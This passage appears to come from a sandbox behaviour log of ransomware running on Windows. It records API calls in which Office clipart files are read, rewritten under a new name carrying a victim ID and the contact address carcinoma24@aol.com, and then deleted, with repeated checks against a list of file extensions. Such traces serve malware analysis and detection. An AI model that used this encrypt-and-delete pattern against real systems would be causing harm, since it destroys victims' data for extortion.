lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0269.908] GetLastError () returned 0x0 [0269.908] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x15cc, lpOverlapped=0x0) returned 1 [0269.919] WriteFile (in: hFile=0x374, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x15d0, lpOverlapped=0x0) returned 1 [0269.921] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.921] WriteFile (in: hFile=0x374, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.921] SetEndOfFile (hFile=0x374) returned 1 [0269.921] CloseHandle (hObject=0x374) returned 1 [0269.921] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.921] SetEndOfFile (hFile=0x540) returned 1 [0269.925] CloseHandle (hObject=0x540) returned 1 [0269.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0269.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0269.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0269.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0269.926] lstrlenW (lpString=".doc") returned 4 [0269.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.926] lstrlenW (lpString=".docx") returned 5 [0269.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.926] lstrlenW (lpString=".pdf") returned 4 [0269.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.927] lstrlenW (lpString=".xls") returned 4 [0269.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.927] lstrlenW (lpString=".xlsx") returned 5 [0269.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.927] lstrlenW (lpString=".ppt") returned 4 [0269.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0269.927] lstrlenW (lpString=".zip") returned 4 [0269.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.927] lstrlenW (lpString=".rar") returned 4 [0269.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.927] lstrlenW (lpString=".bz2") returned 4 [0269.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.927] lstrlenW (lpString=".7z") returned 3 [0269.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0269.927] lstrlenW (lpString=".dbf") returned 4 [0269.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0269.928] lstrlenW (lpString=".1cd") returned 4 [0269.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0269.928] lstrlenW (lpString=".jpg") returned 4 [0269.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0269.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0269.928] lstrlenW (lpString=".doc") returned 4 [0269.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.928] lstrlenW (lpString=".docx") returned 5 [0269.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.928] lstrlenW (lpString=".pdf") returned 4 [0269.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.928] lstrlenW (lpString=".xls") returned 4 [0269.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.928] lstrlenW (lpString=".xlsx") returned 5 [0269.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.928] lstrlenW (lpString=".ppt") returned 4 [0269.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0269.928] lstrlenW (lpString=".zip") returned 4 [0269.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.928] lstrlenW (lpString=".rar") returned 4 [0269.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.928] lstrlenW (lpString=".bz2") returned 4 [0269.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.929] lstrlenW (lpString=".7z") returned 3 [0269.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0269.929] lstrlenW (lpString=".dbf") returned 4 [0269.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0269.929] lstrlenW (lpString=".1cd") returned 4 [0269.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0269.929] lstrlenW (lpString=".jpg") returned 4 [0269.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.929] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0269.929] lstrlenW (lpString="BS00441_.WMF") returned 12 [0269.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0269.930] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=3524) returned 1 [0269.930] CloseHandle (hObject=0x540) returned 1 [0269.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220 [0269.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0269.931] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.931] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0269.932] GetLastError () returned 0x0 [0269.932] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xdc4, lpOverlapped=0x0) returned 1 [0269.968] WriteFile (in: hFile=0x374, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0269.970] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.971] WriteFile (in: hFile=0x374, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.971] SetEndOfFile (hFile=0x374) returned 1 [0269.971] CloseHandle (hObject=0x374) returned 1 [0269.971] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.971] SetEndOfFile (hFile=0x540) returned 1 [0269.975] CloseHandle (hObject=0x540) returned 1 [0269.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0269.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0269.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0269.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0269.977] lstrlenW (lpString=".doc") returned 4 [0269.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.977] lstrlenW (lpString=".docx") returned 5 [0269.977] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.977] lstrlenW (lpString=".pdf") returned 4 [0269.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.977] lstrlenW (lpString=".xls") returned 4 [0269.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.978] lstrlenW (lpString=".xlsx") returned 5 [0269.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.978] lstrlenW (lpString=".ppt") returned 4 [0269.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0269.978] lstrlenW (lpString=".zip") returned 4 [0269.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.978] lstrlenW (lpString=".rar") returned 4 [0269.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.978] lstrlenW (lpString=".bz2") returned 4 [0269.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.978] lstrlenW (lpString=".7z") returned 3 [0269.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0269.978] lstrlenW (lpString=".dbf") returned 4 [0269.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0269.978] lstrlenW (lpString=".1cd") returned 4 [0269.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0269.979] lstrlenW (lpString=".jpg") returned 4 [0269.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0269.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0269.979] lstrlenW (lpString=".doc") returned 4 [0269.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.979] lstrlenW (lpString=".docx") returned 5 [0269.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.979] lstrlenW (lpString=".pdf") returned 4 [0269.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.979] lstrlenW (lpString=".xls") returned 4 [0269.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.979] lstrlenW (lpString=".xlsx") returned 5 [0269.980] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.980] lstrlenW (lpString=".ppt") returned 4 [0269.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0269.980] lstrlenW (lpString=".zip") returned 4 [0269.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.980] lstrlenW (lpString=".rar") returned 4 [0269.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.980] lstrlenW (lpString=".bz2") returned 4 [0269.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.980] lstrlenW (lpString=".7z") returned 3 [0269.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0269.981] lstrlenW (lpString=".dbf") returned 4 [0269.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0269.981] lstrlenW (lpString=".1cd") returned 4 [0269.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0269.981] lstrlenW (lpString=".jpg") returned 4 [0269.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.981] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0269.981] lstrlenW (lpString="BS00442_.WMF") returned 12 [0270.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.132] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2488) returned 1 [0270.132] CloseHandle (hObject=0x554) returned 1 [0270.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220 [0270.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.133] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.133] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.134] GetLastError () returned 0x0 [0270.134] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0270.136] WriteFile (in: hFile=0x370, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0270.137] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.137] WriteFile (in: hFile=0x370, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.137] SetEndOfFile (hFile=0x370) returned 1 [0270.137] CloseHandle (hObject=0x370) returned 1 [0270.138] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.138] SetEndOfFile (hFile=0x554) returned 1 [0270.141] CloseHandle (hObject=0x554) returned 1 [0270.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0270.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0270.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0270.143] lstrlenW (lpString=".doc") returned 4 [0270.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.143] lstrlenW (lpString=".docx") returned 5 [0270.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.143] lstrlenW (lpString=".pdf") returned 4 [0270.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.143] lstrlenW (lpString=".xls") returned 4 [0270.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.143] lstrlenW (lpString=".xlsx") returned 5 [0270.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.143] lstrlenW (lpString=".ppt") returned 4 [0270.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0270.143] lstrlenW (lpString=".zip") returned 4 [0270.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.143] lstrlenW (lpString=".rar") returned 4 [0270.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.143] lstrlenW (lpString=".bz2") returned 4 [0270.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.143] lstrlenW (lpString=".7z") returned 3 [0270.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0270.144] lstrlenW (lpString=".dbf") returned 4 [0270.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0270.144] lstrlenW (lpString=".1cd") returned 4 [0270.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0270.144] lstrlenW (lpString=".jpg") returned 4 [0270.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0270.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0270.144] lstrlenW (lpString=".doc") returned 4 [0270.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.144] lstrlenW (lpString=".docx") returned 5 [0270.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.144] lstrlenW (lpString=".pdf") returned 4 [0270.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.144] lstrlenW (lpString=".xls") returned 4 [0270.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.144] lstrlenW (lpString=".xlsx") returned 5 [0270.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.144] lstrlenW (lpString=".ppt") returned 4 [0270.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0270.145] lstrlenW (lpString=".zip") returned 4 [0270.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.145] lstrlenW (lpString=".rar") returned 4 [0270.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.145] lstrlenW (lpString=".bz2") returned 4 [0270.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.145] lstrlenW (lpString=".7z") returned 3 [0270.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0270.145] lstrlenW (lpString=".dbf") returned 4 [0270.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0270.145] lstrlenW (lpString=".1cd") returned 4 [0270.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0270.145] lstrlenW (lpString=".jpg") returned 4 [0270.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.145] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.145] lstrlenW (lpString="BS00445_.WMF") returned 12 [0270.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.147] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=3796) returned 1 [0270.147] CloseHandle (hObject=0x554) returned 1 [0270.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220 [0270.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.148] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.148] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.149] 